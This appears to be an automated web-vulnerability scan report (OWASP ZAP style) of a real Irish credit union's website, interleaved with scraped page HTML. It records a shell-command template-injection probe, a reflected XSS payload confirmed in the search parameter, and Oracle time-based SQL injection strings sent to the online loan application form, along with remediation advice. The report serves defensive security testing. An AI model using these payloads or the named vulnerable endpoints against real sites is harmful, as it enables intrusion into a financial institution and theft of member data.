<img src="https://www.clcu.ie/wp-content/themes/croi-laighean/images/latest-product.png" title=""/>
</div>
</a>
<div class="latest_post_slidcontbx">
<div class="latest_posts_title"><a href="https://www.clcu.ie/events/clcu-social-impact-report/" title="CLCU Social Impact Report">CLCU Social Impact Report</a></div>
<div class="latest_posts_news_date">12th Sep 2023</div>
<div class="latest_posts_content">Our Social Impact Report highlights the key role that Croí Laighean Credit Union...</div>
</div>
</div>
</li>
<li class="latest_post_li">
<div class="latest_post-sldbx">
<a href="https://www.clcu.ie/events/competition-time/" title="Competition Time">
<div class="latest_post_slidpic" style="background-image:url('https://www.clcu.ie/wp-content/uploads/2023/10/Copy-of-Copy-of-BRANCHES-12.png');">
<img src="https://www.clcu.ie/wp-content/themes/croi-laighean/images/latest-product.png" title=""/>
</div>
</a>
<div class="latest_post_slidcontbx">
<div class="latest_posts_title"><a href="https://www.clcu.ie/events/competition-time/" title="Competition Time">Competition Time</a></div>
<div class="latest_posts_news_date">27th Oct 2023</div>
<div class="latest_posts_content">To mark the clocks going back tonight and the dark winter evenings creeping...</div>
</div>
</div>
</li>
<li class="latest_post_li">
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<div class="latest_posts_news_date">28th Aug 2020</div>
<div class="latest_posts_content">Managing your back-to-school expenses can be quite stressful. From bus passes to iPads,...</div>
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<div class="latest_posts_news_date">20th Sep 2022</div>
<div class="latest_posts_content">At Croí Laighean Credit Union, we realise with the cost of living soaring...</div>
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<div class="latest_posts_news_date">15th Jun 2023</div>
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<div class="latest_posts_news_date">15th Jun 2023</div>
<div class="latest_posts_content">Croí Laighean Credit Union announced the recipients of the CLCU Community Fund 2023...</div>
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<div class="latest_posts_news_date">11th Nov 2022</div>
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<div class="latest_posts_news_date">2nd Nov 2022</div>
<div class="latest_posts_content">Croí Laighean Credit Union offer some of the best value loans on the...</div>
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<div class="latest_posts_news_date">2nd Nov 2022</div>
<div class="latest_posts_content">We may work with figures all day, but at CLCU you are more...</div>
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<div class="latest_posts_news_date">12th Sep 2022</div>
<div class="latest_posts_content">At Croí Laighean Credit Union, we realise the importance of providing our members...</div>
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<div class="latest_posts_news_date">30th Aug 2022</div>
<div class="latest_posts_content">We have put together this brief guide to reducing energy costs in the...</div>
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<div class="latest_posts_news_date">2nd Nov 2023</div>
<div class="latest_posts_content">At Croí Laighean Credit Union, we realise the importance of providing our members...</div>
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Parameter
_wpcf7_locale
Attack
#{%x(sleep 5)}
Solution
Instead of inserting the user input in the template, use it as
rendering argument.
2. RISK=HIGH, CONFIDENCE=MEDIUM (4)
1. HTTPS://WWW.CLCU.IE (4)
1. CROSS SITE SCRIPTING (REFLECTED) (1)
1. GET
https://www.clcu.ie/?s=%3C%2Ftitle%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E%3Ctitle%3E
Alert tags
* OWASP_2021_A03
* WSTG-v42-INPV-01
* OWASP_2017_A07
Alert description
Cross-site Scripting (XSS) is an attack technique that involves
echoing attacker-supplied code into a user's browser instance. A
browser instance can be a standard web browser client, or a
browser object embedded in a software product such as the browser
within WinAmp, an RSS reader, or an email client. The code itself
is usually written in HTML/JavaScript, but may also extend to
VBScript, ActiveX, Java, Flash, or any other browser-supported
technology.
When an attacker gets a user's browser to execute his/her code,
the code will run within the security context (or zone) of the
hosting web site. With this level of privilege, the code has the
ability to read, modify and transmit any sensitive data accessible
by the browser. A Cross-site Scripted user could have his/her
account hijacked (cookie theft), their browser redirected to
another location, or possibly shown fraudulent content delivered
by the web site they are visiting. Cross-site Scripting attacks
essentially compromise the trust relationship between a user and
the web site. Applications utilizing browser object instances
which load content from the file system may execute code under the
local machine zone allowing for system compromise.
There are three types of Cross-site Scripting attacks:
non-persistent, persistent and DOM-based.
Non-persistent attacks and DOM-based attacks require a user to
either visit a specially crafted link laced with malicious code,
or visit a malicious web page containing a web form, which when
posted to the vulnerable site, will mount the attack. Using a
malicious form will oftentimes take place when the vulnerable
resource only accepts HTTP POST requests. In such a case, the form
can be submitted automatically, without the victim's knowledge
(e.g. by using JavaScript). Upon clicking on the malicious link or
submitting the malicious form, the XSS payload will get echoed
back and will get interpreted by the user's browser and execute.
Another technique to send almost arbitrary requests (GET and POST)
is by using an embedded client, such as Adobe Flash.
Persistent attacks occur when the malicious code is submitted to a
web site where it's stored for a period of time. Examples of an
attacker's favorite targets often include message board posts, web
mail messages, and web chat software. The unsuspecting user is not
required to interact with any additional site/link (e.g. an
attacker site or a malicious link sent via email), just simply
view the web page containing the code.
Request Request line and header section (422 bytes)
GET https://www.clcu.ie/?s=%3C%2Ftitle%3E%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E%3Ctitle%3E HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie/contact/
Cookie: PHPSESSID=gutkq0d13uqkiuoo18rrel573t; wordpress_test_cookie=WP%20Cookie%20check
Request body (0 bytes)
Response Status line and header section (372 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 09:07:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Link: <https://www.clcu.ie/wp-json/>; rel="https://api.w.org/"
Vary: Accept-Encoding
content-length: 49341
Response body (49341 bytes)
<!doctype html>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, minimum-scale=1, maximum-scale=1">
<link rel="profile" href="https://gmpg.org/xfn/11">
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gtag('js', new Date());
gtag('config', 'UA-127639971-1');
</script>
<meta name='robots' content='noindex, follow' />
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<title>You searched for </title><scrIpt>alert(1);</scRipt><title> | Croí Laighean Credit Union</title>
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="article" />
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<meta property="og:site_name" content="Croí Laighean Credit Union" />
<meta property="og:image" content="https://www.clcu.ie/wp-content/uploads/2023/11/croi-laighean-credit-union-offaly-kildare.png" />
<meta property="og:image:width" content="1200" />
<meta property="og:image:height" content="675" />
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<meta name="twitter:title" content="You searched for </title><scrIpt>alert(1);</scRipt><title> | Croí Laighean Credit Union" />
<meta name="twitter:site" content="@CLCreditUnion" />
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Parameter
s
Attack
</title><scrIpt>alert(1);</scRipt><title>
Evidence
</title><scrIpt>alert(1);</scRipt><title>
Solution
Phase: Architecture and Design
Use a vetted library or framework that does not allow this
weakness to occur or provides constructs that make this weakness
easier to avoid.
Examples of libraries and frameworks that make it easier to
generate properly encoded output include Microsoft's Anti-XSS
library, the OWASP ESAPI Encoding module, and Apache Wicket.
Phases: Implementation; Architecture and Design
Understand the context in which your data will be used and the
encoding that will be expected. This is especially important when
transmitting data between different components, or when generating
outputs that can contain multiple encodings at the same time, such
as web pages or multi-part mail messages. Study all expected
communication protocols and data representations to determine the
required encoding strategies.
For any data that will be output to another web page, especially
any data that was received from external inputs, use the
appropriate encoding on all non-alphanumeric characters.
Consult the XSS Prevention Cheat Sheet for more details on the
types of encoding and escaping that are needed.
Phase: Architecture and Design
For any security checks that are performed on the client side,
ensure that these checks are duplicated on the server side, in
order to avoid CWE-602. Attackers can bypass the client-side
checks by modifying values after the checks have been performed,
or by changing the client to remove the client-side checks
entirely. Then, these modified values would be submitted to the
server.
If available, use structured mechanisms that automatically enforce
the separation between data and code. These mechanisms may be able
to provide the relevant quoting, encoding, and validation
automatically, instead of relying on the developer to provide this
capability at every point where output is generated.
Phase: Implementation
For every web page that is generated, use and specify a character
encoding such as ISO-8859-1 or UTF-8. When an encoding is not
specified, the web browser may choose a different encoding by
guessing which encoding is actually being used by the web page.
This can cause the web browser to treat certain sequences as
special, opening up the client to subtle XSS attacks. See CWE-116
for more mitigations related to encoding/escaping.
To help mitigate XSS attacks against the user's session cookie,
set the session cookie to be HttpOnly. In browsers that support
the HttpOnly feature (such as more recent versions of Internet
Explorer and Firefox), this attribute can prevent the user's
session cookie from being accessible to malicious client-side
scripts that use document.cookie. This is not a complete solution,
since HttpOnly is not supported by all browsers. More importantly,
XMLHTTPRequest and other powerful browser technologies provide
read access to HTTP headers, including the Set-Cookie header in
which the HttpOnly flag is set.
Assume all input is malicious. Use an "accept known good" input
validation strategy, i.e., use an allow list of acceptable inputs
that strictly conform to specifications. Reject any input that
does not strictly conform to specifications, or transform it into
something that does. Do not rely exclusively on looking for
malicious or malformed inputs (i.e., do not rely on a deny list).
However, deny lists can be useful for detecting potential attacks
or determining which inputs are so malformed that they should be
rejected outright.
When performing input validation, consider all potentially
relevant properties, including length, type of input, the full
range of acceptable values, missing or extra inputs, syntax,
consistency across related fields, and conformance to business
rules. As an example of business rule logic, "boat" may be
syntactically valid because it only contains alphanumeric
characters, but it is not valid if you are expecting colors such
as "red" or "blue."
Ensure that you perform input validation at well-defined
interfaces within the application. This will help protect the
application even if a component is reused or moved elsewhere.
2. SQL INJECTION (1)
1. GET https://www.clcu.ie/?p=6222-2&post_type=events
Alert tags
* OWASP_2021_A03
* WSTG-v42-INPV-05
* OWASP_2017_A01
Alert description
SQL injection may be possible.
Other info
The original page results were successfully replicated using the
expression [6222-2] as the parameter value
The parameter value being modified was stripped from the HTML
output for the purposes of the comparison
Request Request line and header section (407 bytes)
GET https://www.clcu.ie/?p=6222-2&post_type=events HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie/?p=6220&post_type=events&preview=true
Cookie: PHPSESSID=6n82fsdsffcfgjuvlei7d25bth; wordpress_test_cookie=WP%20Cookie%20check
Request body (0 bytes)
Response Status line and header section (380 bytes)
HTTP/1.1 404 Not Found
Date: Mon, 27 Nov 2023 09:16:11 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Pragma: no-cache
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://www.clcu.ie/wp-json/>; rel="https://api.w.org/"
Vary: Accept-Encoding
content-length: 26571
Response body (26571 bytes)
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<title>Page not found | Croí Laighean Credit Union</title>
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/*===========================
*
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* Community Fund 2021
*
* =========================*/
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.services_col .sevices_img img {
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} </style>
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Parameter
p
Attack
6222-2
Solution
Do not trust client side input, even if there is client side
validation in place.
In general, type check all data on the server side.
If the application uses JDBC, use PreparedStatement or
CallableStatement, with parameters passed by '?'
If the application uses ASP, use ADO Command Objects with strong
type checking and parameterized queries.
If database Stored Procedures can be used, use them.
Do *not* concatenate strings into queries in the stored procedure,
or use 'exec', 'exec immediate', or equivalent functionality!
Do not create dynamic SQL queries using simple string
concatenation.
Escape all data received from the client.
Apply an 'allow list' of allowed characters, or a 'deny list' of
disallowed characters in user input.
Apply the principle of least privilege by using the least
privileged database user possible.
In particular, avoid using the 'sa' or 'db-owner' database users.
This does not eliminate SQL injection, but minimizes its impact.
Grant the minimum database access that is necessary for the
application.
3. SQL INJECTION - ORACLE - TIME BASED (1)
1. POST https://www.clcu.ie/online-loan-application/
Alert tags
* OWASP_2021_A03
* WSTG-v42-INPV-05
* OWASP_2017_A01
Alert description
SQL injection may be possible.
Other info
The query time is controllable using parameter value
[zaproxy@example.com / (SELECT
UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT
UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT
UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT
UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT
UTL_INADDR.get_host_name('10.0.0.5') from dual) ], which caused
the request to take [6,656] milliseconds, when the original
unmodified query with value [zaproxy@example.com] took [1,618]
milliseconds
Request Request line and header section (464 bytes)
POST https://www.clcu.ie/online-loan-application/ HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
content-type: application/x-www-form-urlencoded
referer: https://www.clcu.ie/online-loan-application/
content-length: 2166
Cookie: PHPSESSID=6n82fsdsffcfgjuvlei7d25bth; wordpress_test_cookie=WP%20Cookie%20check
Request body (2166 bytes)
_wpcf7=2252&_wpcf7_version=5.8&_wpcf7_locale=en_US&_wpcf7_unit_tag=wpcf7-f2252-o1&_wpcf7_container_post=0&_wpcf7_posted_data_hash=&_wpcf7_recaptcha_response=&account_name=ZAP&member_name=ZAP&address=688+Zaproxy+Ridge&previos_address=&type_of_accomodation=Owner&type_of_other=ZAP&telephone=ZAP&email=zaproxy%40example.com+%2F+%28SELECT++UTL_INADDR.get_host_name%28%2710.0.0.1%27%29+from+dual+union+SELECT++UTL_INADDR.get_host_name%28%2710.0.0.2%27%29+from+dual+union+SELECT++UTL_INADDR.get_host_name%28%2710.0.0.3%27%29+from+dual+union+SELECT++UTL_INADDR.get_host_name%28%2710.0.0.4%27%29+from+dual+union+SELECT++UTL_INADDR.get_host_name%28%2710.0.0.5%27%29+from+dual%29+&date_of_birth=ZAP&marital_status=Single&number_of_dependants=ZAP&occupation=ZAP&employers_name=ZAP&work_address=&length_of_service=ZAP&weekly_salary=ZAP&other_income=ZAP&spouse_partners_name=ZAP&spouse_partners_employer=ZAP&spouse_partners_work_address=&spouse_partners_occupation=ZAP&spouse_partners_weekly_salary=ZAP&spouse_partners_other_income=ZAP&spouse_partners_date_of_birth=ZAP&financial_bank_original_amount=ZAP&financial_bank_balance_outstanding=ZAP&financial_bank_monthly_repayments=ZAP&financial_rent_original_amount=ZAP&financial_rent_balance_outstanding=ZAP&financial_rent_monthly_repayments=ZAP&financial_credit_original_amount=ZAP&financial_credit_balance_outstanding=ZAP&financial_credit_monthly_repayments=ZAP&financial_other_original_amount=ZAP&financial_other_balance_outstanding=ZAP&financial_other_monthly_repayments=ZAP&financial_saving_original_amount=ZAP&financial_loan_original_amount=ZAP&financial_arrears_original_amount=ZAP&apply_loan_of=ZAP&loan_employer=ZAP&purpose_of_loan=Car+Loan&loan_date_required=ZAP&loan_repaid_every=Week&loan_installment_of=ZAP&declare_of_opt_in=I+am+in+good+health&declare_of_opt_in2=I+am+fit+to+follow+my+normal+occupation&radio-1001=Yes&text-1086=ZAP&radio-1002=Yes&text-1087=ZAP&radio-1003=Yes&text-1088=ZAP&radio-1004=Yes&text-1089=ZAP&your-name=ZAP&to-date=ZAP&form_id=2252&app_id=&g-recaptcha-response=%0D%0A%09%09&honeypot-492-time-start=1701069820&honeypot-492-time-check=4&honeypot-492=ZAP&_wpcf7_ak_hp_textarea=&_wpcf7_ak_js=205
Response Status line and header section (508 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 09:52:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Link: <https://www.clcu.ie/wp-json/>; rel="https://api.w.org/", <https://www.clcu.ie/wp-json/wp/v2/pages/2249>; rel="alternate"; type="application/json", <https://www.clcu.ie/?p=2249>; rel=shortlink
Vary: Accept-Encoding
content-length: 88007
Response body (88007 bytes)
<!doctype html>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, minimum-scale=1, maximum-scale=1">
<link rel="profile" href="https://gmpg.org/xfn/11">
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<title>Online Loan Application | Croí Laighean Credit Union</title>
<meta name="description" content="Croí Laighean Credit Union online loan application form. We offer fair & transparent loans at great rates. Call us or apply online here" />
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<meta property="og:title" content="Online Loan Application" />
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<meta property="og:site_name" content="Croí Laighean Credit Union" />
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<meta property="article:modified_time" content="2023-09-19T14:25:16+00:00" />
<meta property="og:image" content="https://www.clcu.ie/wp-content/uploads/2020/10/Loans-1366x327-2-scaled.jpg" />
<meta property="og:image:width" content="2560" />
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<a href="https://www.clcu.ie/contact/" title="Locations">Locations</a>
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</div>
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<a href="tel:1800 23 24 25" title="1800 23 24 25">1800 23 24 25</a>
</div>
</div>
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<ul>
<li class="icon_linkedin"><a href="https://ie.linkedin.com/company/croilaigheancreditunion" target="_blank"></a></li><li class="icon_facebook"><a href="https://www.facebook.com/CLCreditUnion/" target="_blank"></a></li><li class="icon_instagram"><a href="https://www.instagram.com/clcreditunion/" target="_blank"></a></li><li class="icon_twitter"><a href="https://twitter.com/CLCreditUnion" target="_blank"></a></li> </ul>
</div>
</div>
</div>
</div>
</div>
</div>
</header>
<div class="content-sidebar">
<a id="become_member"></a>
<div class="sidebar-con upwards_arrow">
<div class="inner_box">
<h3>How Can We Help You Today?</h3> <div class="icon-text">
<div class="icon_cls">
<img class="active" src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright1-1.svg" title="iconright1-1" alt="Credit-Union-Calculator">
<img class="hover" src="https://www.clcu.ie/wp-content/uploads/2020/09/loan-calculator-hover.svg" title="iconright1-1" alt="Credit-Union-Calculator">
</div>
<a href="https://www.clcu.ie/loans/#calculator" title="Loan Calculator">Loan Calculator</a>
</div>
<div class="icon-text">
<div class="icon_cls">
<img class="active" src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright2-1.svg" title="iconright2-1" alt="Apply-For-Credit-Union-Loan">
<img class="hover" src="https://www.clcu.ie/wp-content/uploads/2020/09/apply-for-a-loan-hover.svg" title="iconright2-1" alt="Apply-For-Credit-Union-Loan">
</div>
<a href="https://www.clcu.ie/loans/#apply-loan-main" title="Apply for a Loan">Apply<br>for a Loan</a>
</div>
<div class="icon-text">
<div class="icon_cls">
<img class="active" src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright3-1.svg" title="iconright3-1" alt="Contact Your Credit Union">
<img class="hover" src="https://www.clcu.ie/wp-content/uploads/2020/09/faq-hover.svg" title="iconright3-1" alt="Contact Your Credit Union">
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<a href="https://www.clcu.ie/faqs/" title="FAQ">FAQ</a>
</div>
<div class="icon-text">
<div class="icon_cls">
<img class="active" src="https://www.clcu.ie/wp-content/uploads/2022/02/email.svg" title="email" alt="Credit Union Kildare Email">
<img class="hover" src="https://www.clcu.ie/wp-content/uploads/2022/02/email.svg" title="email" alt="Credit Union Kildare Email">
</div>
<a href="https://www.clcu.ie/contact/" title="Get in touch">Get<br>in touch</a>
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</div>
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</div> </div>
<div class="inner_banner" style="background: url(https://www.clcu.ie/wp-content/uploads/2020/10/Loans-1366x327-2-scaled.jpg);">
<h1>Online Loan Application</h1>
<div class="banner_fade grey"></div>
</div>
<div id="content" class="site-content"><div class="inner_page_col account-main logo_bg online_loan_application">
<div class="container">
<div class="inner_intro">
<div class="inner_intro_cont">
<h2>Online Loan Application</h2>
<p data-sourcepos="3:1-3:117">Secure your Croí Laighean Credit Union loan efficiently and without any hassle with our digital loan application.</p>
<p data-sourcepos="5:1-5:86"><strong>To apply for a loan, complete all your details in the form below and click submit.</strong></p>
<p data-sourcepos="7:1-7:265">Once we receive your loan application, our experienced lending team will manually assess it. We may contact you to request additional information or documentation, such as your ID and proof of address. You can easily upload these documents using our ID-Pal app.</p>
<p data-sourcepos="9:1-9:258">Once your loan application is approved, you will receive a text notification to log in to your online banking area to electronically sign the loan agreement. This process is quick and easy, and you will receive your loan funds within a few business days.</p>
<p data-sourcepos="11:1-11:173">If you have any questions about the online loan application process, please do not hesitate to <a href="https://www.clcu.ie/contact/">contact</a> our customer service team. We are here to help you every step of the way.</p>
<p><strong><em>Not already a Member? For the quickest response, <a href="https://social.clcu.ie/">start your application here</a>.</em></strong></p>
</div>
</div>
</div>
<div class="container"> </div>
<div class="account-personal" id="membership_form">
<div class="container">
<h3>Online Loan Application</h3>
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<div class="talk_to_form">
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<div class="wpcf7 no-js" id="wpcf7-f2252-o1" lang="en-US" dir="ltr">
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<li id="wpcf7-f2252-o1-ve-work_address"><a href="#work_address">The field is required.</a></li></ul></div>
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<div class="section_col">
<div class="form_left">
<h4>Personal Data
</h4>
</div>
<div class="form_right">
<div class="formtextbox form_6">
<p><label>Account Number</label><span class="wpcf7-form-control-wrap" data-name="account_name"><input size="40" maxlength="50" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="account_name" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="account_name" /></span>
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<p><label>Member Name</label><span class="wpcf7-form-control-wrap" data-name="member_name"><input size="40" maxlength="50" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="member_name" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="member_name" /></span>
</p>
</div>
<div class="formtextbox textarea">
<p><label>Address</label><span class="wpcf7-form-control-wrap" data-name="address"><textarea cols="40" rows="10" maxlength="1000" class="wpcf7-form-control wpcf7-textarea wpcf7-validates-as-required" id="address" aria-required="true" aria-invalid="false" name="address">688 Zaproxy Ridge</textarea></span>
</p>
</div>
<div class="formtextbox textarea">
<p><label>Previous Address (If less than 3 years)</label><span class="wpcf7-form-control-wrap" data-name="previos_address"><textarea cols="40" rows="10" maxlength="1000" class="wpcf7-form-control wpcf7-textarea" id="previos_address" aria-invalid="false" name="previos_address"></textarea></span>
</p>
</div>
<div class="formtextbox form_6">
<p><label>Type of Accomodation</label><span class="wpcf7-form-control-wrap" data-name="type_of_accomodation"><select class="wpcf7-form-control wpcf7-select wpcf7-validates-as-required" aria-required="true" aria-invalid="false" name="type_of_accomodation"><option value="">Select from dropdown</option><option value="Owner" selected="selected">Owner</option><option value="Tenant">Tenant</option><option value="Living with Parents">Living with Parents</option><option value="Other">Other</option></select></span>
</p>
</div>
<div class="formtextbox form_6 last">
<p><label>If Other, please specify</label><span class="wpcf7-form-control-wrap" data-name="type_of_other"><input size="40" maxlength="255" class="wpcf7-form-control wpcf7-text" id="type_of_other" aria-invalid="false" value="ZAP" type="text" name="type_of_other" /></span>
</p>
</div>
<div class="clearfix">
</div>
<div class="formtextbox form_6">
<p><label>Telephone</label><span class="wpcf7-form-control-wrap" data-name="telephone"><input size="40" maxlength="15" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="telephone" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="telephone" /></span>
</p>
</div>
<div class="formtextbox form_6 last">
<p><label>Email Address</label><span class="wpcf7-form-control-wrap" data-name="email"><input size="40" maxlength="255" class="wpcf7-form-control wpcf7-email wpcf7-validates-as-required wpcf7-text wpcf7-validates-as-email wpcf7-not-valid" aria-required="true" aria-invalid="true" aria-describedby="wpcf7-f2252-o1-ve-email" value="zaproxy@example.com / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)" type="email" name="email" /><span class="wpcf7-not-valid-tip" aria-hidden="true">The e-mail address entered is invalid.</span></span>
</p>
</div>
<div class="formtextbox form_6">
<p><label>Date of Birth</label><span class="wpcf7-form-control-wrap" data-name="date_of_birth"><input size="40" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="date_of_birth" readonly="readonly" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="date_of_birth" /></span>
</p>
</div>
<div class="formtextbox form_6 last">
<p><label>Marital Status</label><span class="wpcf7-form-control-wrap" data-name="marital_status"><select class="wpcf7-form-control wpcf7-select wpcf7-validates-as-required" aria-required="true" aria-invalid="false" name="marital_status"><option value="">Select from dropdown</option><option value="Single" selected="selected">Single</option><option value="Married">Married</option><option value="Separated">Separated</option><option value="Divorced">Divorced</option><option value="Engaged">Engaged</option></select></span>
</p>
</div>
<div class="formtextbox form_6">
<p><label>Number of Dependants</label><span class="wpcf7-form-control-wrap" data-name="number_of_dependants"><input size="40" maxlength="10" class="wpcf7-form-control wpcf7-text" id="number_of_dependants" aria-invalid="false" value="ZAP" type="text" name="number_of_dependants" /></span>
</p>
</div>
</div>
</div>
<div class="section_col">
<div class="form_left">
<h4>Job Data
</h4>
</div>
<div class="form_right">
<div class="formtextbox form_6">
<p><label>Occupation</label><span class="wpcf7-form-control-wrap" data-name="occupation"><input size="40" maxlength="50" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="occupation" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="occupation" /></span>
</p>
</div>
<div class="formtextbox form_6 last">
<p><label>Employer's Name</label><span class="wpcf7-form-control-wrap" data-name="employers_name"><input size="40" maxlength="50" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="employers_name" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="employers_name" /></span>
</p>
</div>
<div class="formtextbox textarea">
<p><label>Work Address</label><span class="wpcf7-form-control-wrap" data-name="work_address"><textarea cols="40" rows="10" maxlength="1000" class="wpcf7-form-control wpcf7-textarea wpcf7-validates-as-required wpcf7-not-valid" aria-required="true" aria-invalid="true" aria-describedby="wpcf7-f2252-o1-ve-work_address" name="work_address"></textarea><span class="wpcf7-not-valid-tip" aria-hidden="true">The field is required.</span></span>
</p>
</div>
<div class="formtextbox form_6">
<p><label>Length of Service</label><span class="wpcf7-form-control-wrap" data-name="length_of_service"><input size="40" maxlength="100" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="length_of_service" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="length_of_service" /></span>
</p>
</div>
<div class="formtextbox form_6 last">
<p><label> </label>
</p>
</div>
<div class="clearfix">
</div>
<div class="formtextbox form_6 currency_field">
<p><label>Weekly Salary</label><span class="wpcf7-form-control-wrap" data-name="weekly_salary"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="weekly_salary" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="weekly_salary" /></span>
</p>
</div>
<div class="formtextbox form_6 last currency_field">
<p><label>Other Income</label><span class="wpcf7-form-control-wrap" data-name="other_income"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="other_income" aria-invalid="false" value="ZAP" type="text" name="other_income" /></span>
</p>
</div>
</div>
</div>
<div class="section_col">
<div class="form_left">
<h4>Spouse/Partner Data
</h4>
<h5>(where relevant)
</h5>
</div>
<div class="form_right">
<div class="formtextbox form_6">
<p><label>Spouse/Partners Name</label><span class="wpcf7-form-control-wrap" data-name="spouse_partners_name"><input size="40" maxlength="50" class="wpcf7-form-control wpcf7-text" id="spouse_partners_name" aria-invalid="false" value="ZAP" type="text" name="spouse_partners_name" /></span>
</p>
</div>
<div class="formtextbox form_6 last">
<p><label>Spouse/Partners Employer</label><span class="wpcf7-form-control-wrap" data-name="spouse_partners_employer"><input size="40" maxlength="50" class="wpcf7-form-control wpcf7-text" id="spouse_partners_employer" aria-invalid="false" value="ZAP" type="text" name="spouse_partners_employer" /></span>
</p>
</div>
<div class="formtextbox textarea">
<p><label>Work Address</label><span class="wpcf7-form-control-wrap" data-name="spouse_partners_work_address"><textarea cols="40" rows="10" maxlength="1000" class="wpcf7-form-control wpcf7-textarea" id="spouse_partners_work_address" aria-invalid="false" name="spouse_partners_work_address"></textarea></span>
</p>
</div>
<div class="formtextbox form_6">
<p><label>Spouse/Partners Occupation</label><span class="wpcf7-form-control-wrap" data-name="spouse_partners_occupation"><input size="40" maxlength="50" class="wpcf7-form-control wpcf7-text" id="spouse_partners_occupation" aria-invalid="false" value="ZAP" type="text" name="spouse_partners_occupation" /></span>
</p>
</div>
<div class="formtextbox form_6 last">
<p><label> </label>
</p>
</div>
<div class="clearfix">
</div>
<div class="formtextbox form_6 currency_field">
<p><label>Spouse/Partners Weekly Salary</label><span class="wpcf7-form-control-wrap" data-name="spouse_partners_weekly_salary"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="spouse_partners_weekly_salary" aria-invalid="false" value="ZAP" type="text" name="spouse_partners_weekly_salary" /></span>
</p>
</div>
<div class="formtextbox form_6 last currency_field">
<p><label>Other Income</label><span class="wpcf7-form-control-wrap" data-name="spouse_partners_other_income"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="spouse_partners_other_income" aria-invalid="false" value="ZAP" type="text" name="spouse_partners_other_income" /></span>
</p>
</div>
<div class="formtextbox form_6">
<p><label>Spouse/Partners Date of Birth</label><span class="wpcf7-form-control-wrap" data-name="spouse_partners_date_of_birth"><input size="40" class="wpcf7-form-control wpcf7-text" id="spouse_partners_date_of_birth" readonly="readonly" aria-invalid="false" value="ZAP" type="text" name="spouse_partners_date_of_birth" /></span>
</p>
</div>
</div>
</div>
<div class="section_col">
<div class="formtextbox">
<h4>Current Financial Situation
</h4>
</div>
<div class="formtextbox">
<h5>I declare that I am indebted to the following:
</h5>
</div>
<div class="row">
<div class="formtextbox form_3 col-md-3 currency_label">
<p><label> </label>
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_label">
<p><label>Original Amount</label>
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_label">
<p><label>Balance Outstanding</label>
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_label last">
<p><label>Monthly Repayments</label>
</p>
</div>
</div>
<div class="row">
<div class="formtextbox form_3 col-md-3">
<p>Bank/Building Society <span id="bank_society_tooltip" class="tooltip_info"></span>
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_bank_original_amount"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_bank_original_amount" aria-invalid="false" placeholder="Original Amount" value="ZAP" type="text" name="financial_bank_original_amount" /></span>
</p>
</div>
